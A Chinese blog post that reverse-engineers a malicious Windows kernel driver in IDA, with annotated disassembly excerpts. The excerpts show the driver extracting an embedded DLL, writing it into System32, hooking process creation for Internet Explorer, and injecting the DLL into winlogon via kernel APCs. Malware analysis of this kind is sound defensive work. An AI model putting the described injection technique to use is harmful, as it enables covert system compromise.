分析恶意驱动
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了分析恶意驱动相关的知识,希望对你有一定的参考价值。
用IDA也有好些时间了,以前就只会用F5功能玩无壳无保护的裸驱动,感觉太坑了,这两天就开始看网上大牛的逆向。
今天记录一下sudami曾经逆向过的fuck.sys。第一遍自己走的时候漏掉了好多东西,然后看他的新驱动,一步步比较,
最后把驱动文件分析的比较明朗了。
首先这个文件有的别多的花指令,jz,jnz 、jb,jnb、jo,jno,js、jns。
通过idc脚本去除花指令,快捷键是shift+f2
这是DriverEntry里面的代码,首先传递[ebp+0Ch] 给函数,了解栈帧的话,就知道ebp+0c是第二个参数也就是DriverEntry的第二个参数RegistryPath
.text:0001035A push eax ; 开始搞事 .text:0001035B push dword ptr [ebp+0Ch] ; RegistryPath .text:0001035E call loc_10584 ; 查询注册表中本驱动文件的路径 .text:00010363 push offset dword_12ACC ; 申请的内存地址,保存读取的文件信息 .text:00010368 push offset unk_122CC ; ImagePath .text:0001036D call loc_1077A ; 打开本身文件,读取文件到内存中
我们看看函数loc_10584,该函数传入了RegistryPath,然后ZwOpenKey、ZwQueryValueKey查询键值,如果有则ZwQueryValueKey将地址拷贝出来。
.text:00010584 loc_10584: ; CODE XREF: .text:0001035Ep .text:00010584 push ebp .text:00010585 mov ebp, esp .text:00010587 sub esp, 38h ... .text:000105DA and dword ptr [ebp-8], 0 .text:000105DE push 206B6444h ; 内存的标志 .text:000105E3 push dword ptr [ebp-4] .text:000105E6 push 1 ; 非分页内存 .text:000105E8 call ds:ExAllocatePoolWithTag .text:000105EE mov [ebp-8], eax ... .text:0001061B push dword ptr [ebp+0Ch] .text:0001061E lea eax, [ebp-14h] ; 下面ZwQueryValueKey执行的键值 .text:00010621 push eax .text:00010622 call ds:RtlInitUnicodeString ; ImagePath .text:00010628 mov dword ptr [ebp-34h], 18h .text:0001062F and dword ptr [ebp-30h], 0 .text:00010633 mov dword ptr [ebp-28h], 40h .text:0001063A mov eax, [ebp+8] .text:0001063D mov [ebp-2Ch], eax .text:00010640 and dword ptr [ebp-24h], 0 .text:00010644 and dword ptr [ebp-20h], 0 ... .text:00010655 lea eax, [ebp-34h] .text:00010658 push eax .text:00010659 push 0F003Fh ; DesiredAccess .text:0001065E lea eax, [ebp-0Ch] .text:00010661 push eax ; KeyHandle .text:00010662 call ds:ZwOpenKey ; 打开本驱动键值 .text:00010668 mov [ebp-1Ch], eax ... .text:0001069C lea eax, [ebp-18h] .text:0001069F push eax ; ResultLength .text:000106A0 push dword ptr [ebp-4] ; Length .text:000106A3 push dword ptr [ebp-8] ; KeyValueInformation .text:000106A6 push 1 ; KeyValueInformationClass .text:000106A8 lea eax, [ebp-14h] .text:000106AB push eax ; ValueName ImagePath .text:000106AC push dword ptr [ebp-0Ch] ; KeyHandle .text:000106AF call ds:ZwQueryValueKey .text:000106B5 mov [ebp-1Ch], eax ... .text:000106C5 mov eax, [ebp-1Ch] .text:000106C8 mov [ebp-38h], eax .text:000106CB cmp dword ptr [ebp-38h], 80000005h .text:000106D2 jz short loc_106DC ; 申请内存,在注册表中查询本驱动镜像的路径 .text:000106D4 cmp dword ptr [ebp-38h], 0 .text:000106D8 jz short loc_10737 ; 拷贝驱动文件路径 ... .text:000106F3 push 206B6444h ; Tag .text:000106F8 push dword ptr [ebp-4] ; NumberOfBytes .text:000106FB push 1 ; PoolType PagedPool .text:000106FD call ds:ExAllocatePoolWithTag .text:00010703 mov [ebp-8], eax .text:00010706 lea eax, [ebp-18h] .text:00010709 push eax ; ResultLength .text:0001070A push dword ptr [ebp-4] ; Length .text:0001070D push dword ptr [ebp-8] ; KeyValueInformation .text:00010710 push 1 ; KeyValueInformationClass .text:00010712 lea eax, [ebp-14h] .text:00010715 push eax ; ValueName ImagePath .text:00010716 push dword ptr [ebp-0Ch] ; KeyHandle .text:00010719 call ds:ZwQueryValueKey .text:0001071F mov [ebp-1Ch], eax .text:00010722 cmp dword ptr [ebp-1Ch], 0 .text:00010726 jge short loc_10737 ; 拷贝驱动文件路径 .text:00010728 jmp short loc_1075B
就获得了sys文件的路径。然后在看loc_1077A函数,ZwOpenFile,打开文件,然后ZwQueryInformationFile查询文件信息,然后申请内存,最后读到内存中。
.text:000107B3 call ds:RtlInitUnicodeString .text:000107B9 mov dword ptr [ebp-1Ch], 18h .text:000107C0 and dword ptr [ebp-18h], 0 .text:000107C4 mov dword ptr [ebp-10h], 40h .text:000107CB lea eax, [ebp-4Ch] .text:000107CE mov [ebp-14h], eax .text:000107D1 and dword ptr [ebp-0Ch], 0 .text:000107D5 and dword ptr [ebp-8], 0 .text:000107D9 push 860h ; OpenOptions .text:000107DE push 1 ; ShareAccess .text:000107E0 lea eax, [ebp-3Ch] .text:000107E3 push eax ; iostatusBlock .text:000107E4 lea eax, [ebp-1Ch] .text:000107E7 push eax ; ObjectAttributes .text:000107E8 push 100089h ; DesiredAccess .text:000107ED lea eax, [ebp-40h] .text:000107F0 push eax ; FileHandle .text:000107F1 call ds:ZwOpenFile ; 读取自身文件 .text:000107F7 mov [ebp-44h], eax ... ... .text:00010821 ; .text:00010814j ... .text:00010821 push 5 ; FileInformationClass .text:00010823 push 18h ; Length .text:00010825 lea eax, [ebp-34h] .text:00010828 push eax ; FileInformation .text:00010829 lea eax, [ebp-3Ch] .text:0001082C push eax ; IoStatusBlock .text:0001082D push dword ptr [ebp-40h] ; FileHandle .text:00010830 call ds:ZwQueryInformationFile ; 查询信息 .text:00010836 mov [ebp-44h], eax ... ... .text:00010892 push 206B6444h ; Tag .text:00010897 push dword ptr [ebp-4] ; NumberOfBytes .text:0001089A push 0 ; PoolType .text:0001089C call ds:ExAllocatePoolWithTag .text:000108A2 mov ecx, [ebp+0Ch] .text:000108A5 mov [ecx], eax ... ... .text:000108C1 push 0 ; Key .text:000108C3 push 0 ; Byteoffset .text:000108C5 push dword ptr [ebp-4] ; Length .text:000108C8 mov eax, [ebp+0Ch] .text:000108CB push dword ptr [eax] ; Buffer .text:000108CD lea eax, [ebp-3Ch] .text:000108D0 push eax ; IoStatusBlock .text:000108D1 push 0 ; ApcContext .text:000108D3 push 0 ; ApcRoutine .text:000108D5 push 0 ; Event .text:000108D7 push dword ptr [ebp-40h] ; FileHandle .text:000108DA call ds:ZwReadFile ; 将文件读入206B6444h标志的内存中 .text:000108E0 mov [ebp-44h], eax .text:000108E3 cmp dword ptr [ebp-44h], 0 .text:000108E7 jge short loc_10906 ; 成功跳转 .text:000108E9 mov eax, [ebp+0Ch] .text:000108EC push dword ptr [eax] .text:000108EE call ds:ExFreePool .text:000108F4 push dword ptr [ebp-40h] .text:000108F7 call ds:ZwClose
这样就完成了sys拷贝到内存中,在接着看
.text:0001037C cmp dword_12ACC, 0 ; 内存地址是否正确 .text:00010383 jz short loc_103A7 ; 获得系统版本信息,内存映射文件,创建进程回调,创建线程 .text:00010385 push offset unk_12AD8 ; 文件大小 .text:0001038A push dword_12ACC ; 本身文件地址 .text:00010390 call loc_10936 ; 释放文件中DLL,并且拷贝到一个内存中 .text:00010395 mov dword_12AD4, eax
我们先看loc_10936,这个函数就是将sys最后一个节的内容(也就是加密的DLL)拷贝到内存中来。
.text:00010976 mov eax, [ebp+8] ; 注意这里是传进来的之前获得的本身文件地址 .text:00010979 mov [ebp-14h], eax .text:0001097C mov eax, [ebp-14h] .text:0001097F mov ecx, [ebp-14h] ; 熟悉PE的应该知道3C是DosHeader中e_lfanew的偏移 .text:00010982 add ecx, [eax+3Ch] .text:00010985 mov [ebp-18h], ecx ;获得NtHeader ... ... .text:0001098D mov eax, [ebp-18h] .text:00010990 add eax, 0F8h ; 0xF8 是248 就是NtHeader的大小 .text:00010995 mov [ebp-0Ch], eax ; 获得节表地址 ... .text:0001099D mov eax, [ebp-18h] .text:000109A0 movzx eax, word ptr [eax+6] ; NumberOfSection .text:000109A4 dec eax ; NumberOfSection - 1 .text:000109A5 imul eax, 28h ; 节数量x节表大小 .text:000109A8 mov ecx, [ebp-18h] .text:000109AB movzx ecx, word ptr [ecx+6] .text:000109AF dec ecx .text:000109B0 imul ecx, 28h ; 节数量x节大小 .text:000109B3 mov edx, [ebp-0Ch] ; edx 是节表基地址 .text:000109B6 mov eax, [edx+eax+14h] ; 最后一个节的VirtualAddress .text:000109BA mov edx, [ebp-0Ch] .text:000109BD add eax, [edx+ecx+10h] ; 最后一个节得到SizeOfRawData + VirtualAddress .text:000109C1 mov [ebp-4], eax ; 最后一个节末尾的相对偏移 .text:000109C4 mov eax, [ebp+8] ; 文件基地址 .text:000109C7 add eax, [ebp-4] ; 定位到最后一个节的末尾 .text:000109CA mov ecx, [ebp+0Ch] ; 传入的unk_12AD8 文件大小 .text:000109CD mov eax, [eax] .text:000109CF mov [ecx], eax .text:000109D1 push 206B6444h ; Tag .text:000109D6 mov eax, [ebp+0Ch] ; 传进来的unk_12AD8 申请内存 .text:000109D9 push dword ptr [eax] ; NumberOfBytes .text:000109DB push 0 ; PoolType 非分页 .text:000109DD call ds:ExAllocatePoolWithTag .text:000109E3 mov [ebp-8], eax .text:000109E6 cmp dword ptr [ebp-8], 0 .text:000109EA jnz short loc_109F0 ; 成功 ... ...
这里没有看到拷贝,最后是跳到这三句指令,不是很清楚
.text:000109FD mov eax, [ebp+0Ch] .text:00010A00 mov ecx, [eax] .text:00010A02 mov eax, [ebp-4]
在看下面的函数loc_103A7,所有坏坏的事情都在这里面干的。
.text:000103A7 loc_103A7: ; CODE XREF: .text:00010383j .text:000103A7 mov eax, [ebp+8] ; DriverObject .text:000103AA mov StartContext, eax .text:000103AF call loc_10C9C ; 获得版本信息 .text:000103AF ; 获得EPROCESS中名称的偏移
首先获得版本信息,还有Eprocess中进程名称的偏移大小。
.text:00010D0C push offset aRtlgetversion ; "RtlGetVersion" .text:00010D11 lea eax, [ebp-14h] .text:00010D14 push eax .text:00010D15 call ds:RtlInitUnicodeString ... .text:00010D28 lea eax, [ebp-14h] .text:00010D2B push eax .text:00010D2C call ds:MmGetSystemRoutineAddress .text:00010D32 mov dword_122A8, eax ; RtlGetVersion .text:00010D37 cmp dword_122A8, 0 .text:00010D3E jz short loc_10D52 ; 没有得到RtlGetVersion .text:00010D40 lea eax, [ebp-130h] .text:00010D46 push eax .text:00010D47 call dword_122A8 .... text:00010D52 loc_10D52: ; CODE XREF: .text:00010D3Ej .text:00010D52 push 0 .text:00010D54 lea eax, [ebp-8] .text:00010D57 push eax .text:00010D58 lea eax, [ebp-4] .text:00010D5B push eax .text:00010D5C lea eax, [ebp-0Ch] .text:00010D5F push eax .text:00010D60 call PsGetVersion ... .text:00010EFF call ds:IoGetCurrentProcess ; 获得当前进程 .text:00010F05 mov [ebp-8], eax .text:00010F0D and dword ptr [ebp-4], 0 .text:00010F11 jmp short loc_10F1A ; 用过进程名称找到system字符比较 .text:00010F11 ; 获得EPROCESS中字符串的偏移 .text:00010F13 ; --------------------------------------------------------------------------- .text:00010F13 .text:00010F13 loc_10F13: ; CODE XREF: .text:loc_10F5Ej .text:00010F13 mov eax, [ebp-4] .text:00010F16 inc eax .text:00010F17 mov [ebp-4], eax .text:00010F1A .text:00010F1A loc_10F1A: ; CODE XREF: .text:00010F11j .text:00010F1A cmp dword ptr [ebp-4], 3000h .text:00010F21 jge short loc_10F60 .text:00010F23 mov edi, offset aSystem ; "System" .text:00010F28 or ecx, 0FFFFFFFFh .text:00010F2B xor eax, eax .text:00010F2D repne scasb .text:00010F2F not ecx .text:00010F31 dec ecx .text:00010F32 push ecx .text:00010F33 mov eax, [ebp-8] .text:00010F36 add eax, [ebp-4] .text:00010F39 push eax .text:00010F3A push offset aSystem_0 ; "System" .text:00010F3F call ds:strncmp ; 获得名称的偏移 .text:00010F45 add esp, 0Ch .text:00010F48 test eax, eax .text:00010F4A jnz short loc_10F5E .text:00010F4C mov eax, [ebp-4] .text:00010F4F jmp short loc_10F69
然后就是映射Kernel32.dll获得函数地址
.text:000103C2 call loc_112E6 ; 内存映射文件kernel32.dll,遍历起导出表获得地址
.text:00010FC7 push dword ptr [ebp+8] ; Kernel32.dll .text:00010FCA lea eax, [ebp-28h] .text:00010FCD push eax .text:00010FCE call ds:RtlInitUnicodeString ... .text:0001100C add al, ch .text:0001100E push 0 ; EaLength .text:00011010 push 0 ; EaBuffer .text:00011012 push 20h ; CreateOptions .text:00011014 push 3 ; CreateDisposition .text:00011016 push 1 ; ShareAccess .text:00011018 push 80h ; FILE_ATTRIBUTE_NORMAL dwFlagsAndAttributesLong .text:0001101D push 0 ; AllocationSize .text:0001101F lea eax, [ebp-38h] .text:00011022 push eax ; IoStatusBlock .text:00011023 lea eax, [ebp-20h] .text:00011026 push eax ; ObjectAttributes .text:00011027 push 100020h ; dwDesiredAccess SYNCHRONIZE .text:0001102C lea eax, [ebp-40h] .text:0001102F push eax ; FileHandle .text:00011030 call ds:ZwCreateFile ... .text:0001104C mov dword ptr [ebp-20h], 18h .text:00011053 and dword ptr [ebp-1Ch], 0 .text:00011057 mov dword ptr [ebp-14h], 40h .text:0001105E and dword ptr [ebp-18h], 0 .text:00011062 and dword ptr [ebp-10h], 0 .text:00011066 and dword ptr [ebp-0Ch], 0 .text:0001106A push dword ptr [ebp-40h] ; FileHandle .text:0001106D push 1000000h ; AllocationAttributes .text:00011072 push 10h ; SectionPageProtection .text:00011074 push 0 ; MaximumSize .text:00011076 lea eax, [ebp-20h] .text:00011079 push eax ; ObjectAttributes .text:0001107A push 0F001Fh ; DesiredAccess .text:0001107F lea eax, [ebp-4] .text:00011082 push eax ; SectionHandle .text:00011083 call ds:ZwCreateSection ... .text:00011097 push 4 ; Win32Protect .text:00011099 push 100000h ; AllocationType .text:0001109E push 1 ; InheritDisposition .text:000110A0 lea eax, [ebp-2Ch] .text:000110A3 push eax ; viewSize .text:000110A4 push 0 ; SectionOffset .text:000110A6 push 3E8h ; CommitSize .text:000110AB push 0 ; ZeroBits .text:000110AD lea eax, [ebp-8] .text:000110B0 push eax ; BaseAddress .text:000110B1 push 0FFFFFFFFh ; ProcessHandle .text:000110B3 push dword ptr [ebp-4] ; SectionHandle .text:000110B6 call ds:ZwMapViewOfSection ... .text:00011171 mov eax, [ebp+8] .text:00011174 mov [ebp-18h], eax ; 基地址 .text:00011177 nop .text:00011178 nop .text:00011179 nop .text:0001117A nop .text:0001117B nop .text:0001117C mov eax, [ebp-18h] .text:0001117F movzx eax, word ptr [eax] .text:00011182 cmp eax, 5A4Dh ; 比较DosHeader ... .text:0001119D mov eax, [ebp-18h] .text:000111A0 mov ecx, [ebp-18h] .text:000111A3 add ecx, [eax+3Ch] ; e_flanew .text:000111A6 mov [ebp-20h], ecx ; NtHeader ... .text:000111B9 cmp dword ptr [eax], 4550h ; 比较NtHeader标志PE00 .text:000111BF jz short loc_111CD ; NtHeader... ... .text:000111CD mov eax, [ebp-20h] ; NtHeader .text:000111D0 mov ecx, [ebp-18h] ; 基地址 .text:000111D3 add ecx, [eax+78h] ; 数据目录表地址 .text:000111D6 mov [ebp-1Ch], ecx ... .text:000111F3 mov eax, [ebp-1Ch] ; 数据目录表 .text:000111F6 mov ecx, [ebp-14h] .text:000111F9 cmp ecx, [eax+18h] .text:000111FC jnb loc_11298 .text:00011202 mov eax, [ebp-1Ch] .text:00011205 mov eax, [eax+20h] .text:00011208 add eax, [ebp+8] .text:0001120B mov [ebp-10h], eax .text:0001120E mov eax, [ebp-14h] .text:00011211 mov ecx, [ebp-10h] .text:00011214 mov eax, [ecx+eax*4] .text:00011217 add eax, [ebp+8] .text:0001121A mov [ebp-10h], eax .text:0001121D push dword ptr [ebp+0Ch] .text:00011220 push dword ptr [ebp-10h] .text:00011223 call ds:_stricmp ; 遍历导出表 .text:00011229 pop ecx .text:0001122A pop ecx .text:0001122B test eax, eax .text:0001122D jnz short loc_11293 .text:0001122F mov eax, [ebp-1Ch] .text:00011232 mov eax, [eax+24h] .text:00011235 add eax, [ebp+8] .text:00011238 mov [ebp-8], eax ... .text:00011240 mov eax, [ebp-14h] .text:00011243 mov ecx, [ebp-8] .text:00011246 mov ax, [ecx+eax*2] .text:0001124A mov [ebp-0Ch], ax
这个函数首先ZwCreateFile打开,然后ZwCreateSection,然后在ZwMapViewOfSection函数映射过来,最后比较遍历PE导出表,获得函数地址,后面实在给绕晕了, 然后就没看导出表的部分了。
再返回loc_301A7函数,接下来就做一些恶心的事情了。
设置一个事件,进程回调,还有开启一个线程。
.text:00010500 call SetNotifyEvent ; 设置事件IoCreateNotificationEvent .text:00010505 push 0 .text:00010507 push offset loc_11FDD ; NotifyRoutine 如果是IEXPLORE.EXE 则触发事件 .text:0001050C call PsSetCreateProcessNotifyRoutine ... .text:00010533 call loc_10A9E ; 创建DLL文件 .text:00010538 .text:00010538 loc_10538: ; CODE XREF: .text:00010525j .text:00010538 push StartContext ; StartContext .text:0001053E push offset SystemThread ; StartRoutine .text:00010543 push 0 ; ClientId .text:00010545 push 0 ; ProcessHandle .text:00010547 push 0 ; ObjectAttributes .text:00010549 push 0 ; DesiredAccess .text:0001054B lea eax, [ebp-260h] .text:00010551 push eax ; ThreadHandle .text:00010552 call ds:PsCreateSystemThread
进程回调函数的代码比较简单,这里比较IEXPLORE进程启动则设置事件通知线程要干事了
.text:00012003 push eax ; EPROCESS .text:00012004 push dword ptr [ebp+0Ch] ; ProcessId .text:00012007 call PsLookupProcessByProcessId... .text:00012017 push offset aIexplore_exe ; "IEXPLORE.EXE" .text:0001201C push dword ptr [ebp-0Ch] .text:0001201F call sub_10F6E .text:00012024 push eax .text:00012025 call ds:_stricmp .text:0001202B pop ecx .text:0001202C pop ecx .text:0001202D test eax, eax .text:0001202F jnz short loc_12063 ; Fail .text:00012031 cmp dword_12ADC, 0 .text:00012038 jz short loc_12063 .text:0001203A push 0 .text:0001203C push 0 .text:0001203E push dword_12ADC .text:00012044 call ds:KeSetEvent ; 触发事件 .text:0001204A push dword_12ADC .text:00012050 call ds:KeClearEvent
在loc_301A7中还有一个函数将之前释放的DLL写入系统目录之中。
.text:00010B1F push offset loc_10A74 ; SystemRoot\\System32 .text:00010B24 lea eax, [ebp-800h] .text:00010B2A push eax ; winlib.dll .text:00010B2B call ds:wcscpy ... .text:00010B3E add al, ch .text:00010B40 lea eax, [ebp-8F4h] .text:00010B46 push eax .text:00010B47 lea eax, [ebp-800h] .text:00010B4D push eax .text:00010B4E call ds:wcscat .... text:00010B5B lea eax, [ebp-800h] .text:00010B61 push eax .text:00010B62 lea eax, [ebp-8FCh] .text:00010B68 push eax .text:00010B69 call ds:RtlInitUnicodeString .text:00010B6F mov dword ptr [ebp-818h], 18h .text:00010B79 and dword ptr [ebp-814h], 0 .text:00010B80 mov dword ptr [ebp-80Ch], 40h .text:00010B8A lea eax, [ebp-8FCh] .text:00010B90 mov [ebp-810h], eax .text:00010B96 and dword ptr [ebp-808h], 0 .text:00010B9D and dword ptr [ebp-804h], 0 .text:00010BA4 push 0 ; EaLength .text:00010BA6 push 0 ; EaBuffer .text:00010BA8 push 860h ; CreateOptions .text:00010BAD push 2 ; CreateDisposition .text:00010BAF push 0 ; ShareAccess .text:00010BB1 push 80h ; FileAttributes .text:00010BB6 push 0 ; AllocationSize .text:00010BB8 lea eax, [ebp-824h] .text:00010BBE push eax ; IoStatusBlock .text:00010BBF lea eax, [ebp-818h] .text:00010BC5 push eax ; ObjectAttributes .text:00010BC6 push 100112h ; DesiredAccess .text:00010BCB lea eax, [ebp-828h] .text:00010BD1 push eax ; FileHandle .text:00010BD2 call ds:ZwCreateFile ... .text:00010BEC push 0 ; Key .text:00010BEE push 0 ; ByteOffset .text:00010BF0 push dword ptr [ebp+0Ch] ; Length .text:00010BF3 push dword ptr [ebp+8] ; Buffer .text:00010BF6 lea eax, [ebp-824h] .text:00010BFC push eax ; IoStatusBlock .text:00010BFD push 0 ; ApcContext .text:00010BFF push 0 ; ApcRoutine .text:00010C01 push 0 ; Event .text:00010C03 push dword ptr [ebp-828h] ; Handle .text:00010C09 call ds:ZwWriteFile
...
.text:00010C22 push dword ptr [ebp-828h]
.text:00010C28 call ds:ZwClose
下面就是线程函数,
.text:00011C9D push offset aWinlogon_exe ; "WINLOGON.EXE" .text:00011CA2 call loc_11610 ; 比较当前进程是否为WINLOGON.EXE ... .text:00011CA7 mov [ebp-4], eax .text:00011CAA cmp dword ptr [ebp-4], 0 .text:00011CAE jnz short loc_11CB2 ; 是winlogon进程,则遍历线程链,APC插入线程 .text:00011CB0 jmp short loc_11CF2 ; 结束线程
下面是打开进程,遍历线程,通过APC注入DLL
.text:00011D8E push eax ; ClientId .text:00011D8F lea eax, [ebp-2Ch] .text:00011D92 push eax ; ObjectAttributes .text:00011D93 push 1F0FFFh ; DesiredAccess .text:00011D98 lea eax, [ebp-30h] .text:00011D9B push eax ; ProcessHandle .text:00011D9C call ds:ZwOpenProcess .... text:00011DB2 push 4 ; Protect .text:00011DB4 push 1000h ; AllocationType .text:00011DB9 lea eax, [ebp-14h] .text:00011DBC push eax ; RegionSize .text:00011DBD push 0 ; ZeroBits .text:00011DBF lea eax, [ebp-0Ch] .text:00011DC2 push eax ; BaseAddress .text:00011DC3 push dword ptr [ebp-30h] ; ProcessHandle .text:00011DC6 call ds:ZwAllocateVirtualMemory ... .text:00011DF7 push 206B6444h .text:00011DFC push 18h .text:00011DFE push 0 .text:00011E00 call ds:ExAllocatePoolWithTag .text:00011E06 mov [ebp-34h], eax ... .text:000118A6 push 0 ; Irp .text:000118A8 push 0 ; ChargeQuota .text:000118AA push 0 ; SecondaryBuffer .text:000118AC push dword ptr [ebp-2Ch] ; Length .text:000118AF push offset byte_11B24 ; VirtualAddress .text:000118B4 call ds:IoAllocateMdl ... .text:000118DE push 1 ; Operation .text:000118E0 push 0 ; AccessMode .text:000118E2 push dword ptr [ebp-28h] ; MemoryDescriptorList .text:000118E5 call ds:MmProbeAndLockPages ... .text:0001193C push dword ptr [ebp-24h] ; ApcState .text:0001193F push dword ptr [ebp+8] ; KProcess .text:00011942 call ds:KeStackAttachProcess //挂进对方线程 ... .text:00011955 push 10h ; Priority .text:00011957 push 0 ; BugCheckOnFailure .text:00011959 push 0 ; RequestedAddress .text:0001195B push 1 ; CacheType .text:0001195D push 1 ; AccessMode .text:0001195F push dword ptr [ebp-28h] ; MemoryDescriptorList .text:00011962 call ds:MmMapLockedPagesSpecifyCache //锁定物理内存页 ... .text:000119E1 push dword ptr [ebp-24h] ; ApcState .text:000119E4 call ds:KeUnstackDetachProcess .text:000119EA push 0 ; FALSE .text:000119EC push 0 ; NotificationEvent .text:000119EE push dword ptr [ebp-20h] ; eventPtr .text:000119F1 call ds:KeInitializeEvent ... .text:00011A04 push 0 ; NormalContext .text:00011A06 push 1 ; ProcessorMode .text:00011A08 push dword ptr [ebp-1Ch] ; NormalRoutine .text:00011A0B push 0 ; RundownRoutine .text:00011A0D push offset loc_11AE0 ; KernelRoutine .text:00011A12 push 0 ; Environment .text:00011A14 push dword ptr [ebp+0Ch] ; Thread .text:00011A17 push dword ptr [ebp-30h] ; Apc .text:00011A1A call ds:KeInitializeApc //初始化APC .text:00011A20 push 0 ; Increment .text:00011A22 push dword ptr [ebp+10h] ; SystemArgument2 .text:00011A25 push dword ptr [ebp-20h] ; SystemArgument1 .text:00011A28 push dword ptr [ebp-30h] ; Apc .text:00011A2B call ds:KeInsertQueueApc //插入APC链中 .text:00011A31 movzx eax, al .text:00011A34 test eax, eax .text:00011A36 jnz short loc_11A8B .text:00011A38 push dword ptr [ebp-28h] ; MemoryDescriptorList .text:00011A3B call ds:MmUnlockPages .text:00011A41 push dword ptr [ebp-28h] .text:00011A44 call ds:IoFreeMdl .text:00011A4A push dword ptr [ebp-30h] .text:00011A4D call ds:ExFreePool
然后就是结束线程了。
还有几个地方不是很清楚,大概是这样了,比起昨天那个通过SetWindowHookEx设置消息拦截钩子的程序,今天的则比较恶心,sys启动之后释放DLL到系统目录,然后设置进程回调,如果ie启动则通过事件提醒线程,要干事了,。。
线程则将DLL在R0插入winlogon的APC队列。
有些地方没弄清楚,以后会更加细致的分析,今天先到这了。
以上是关于分析恶意驱动的主要内容,如果未能解决你的问题,请参考以下文章
Android 事件分发事件分发源码分析 ( Activity 中各层级的事件传递 | Activity -> PhoneWindow -> DecorView -> ViewGroup )(代码片段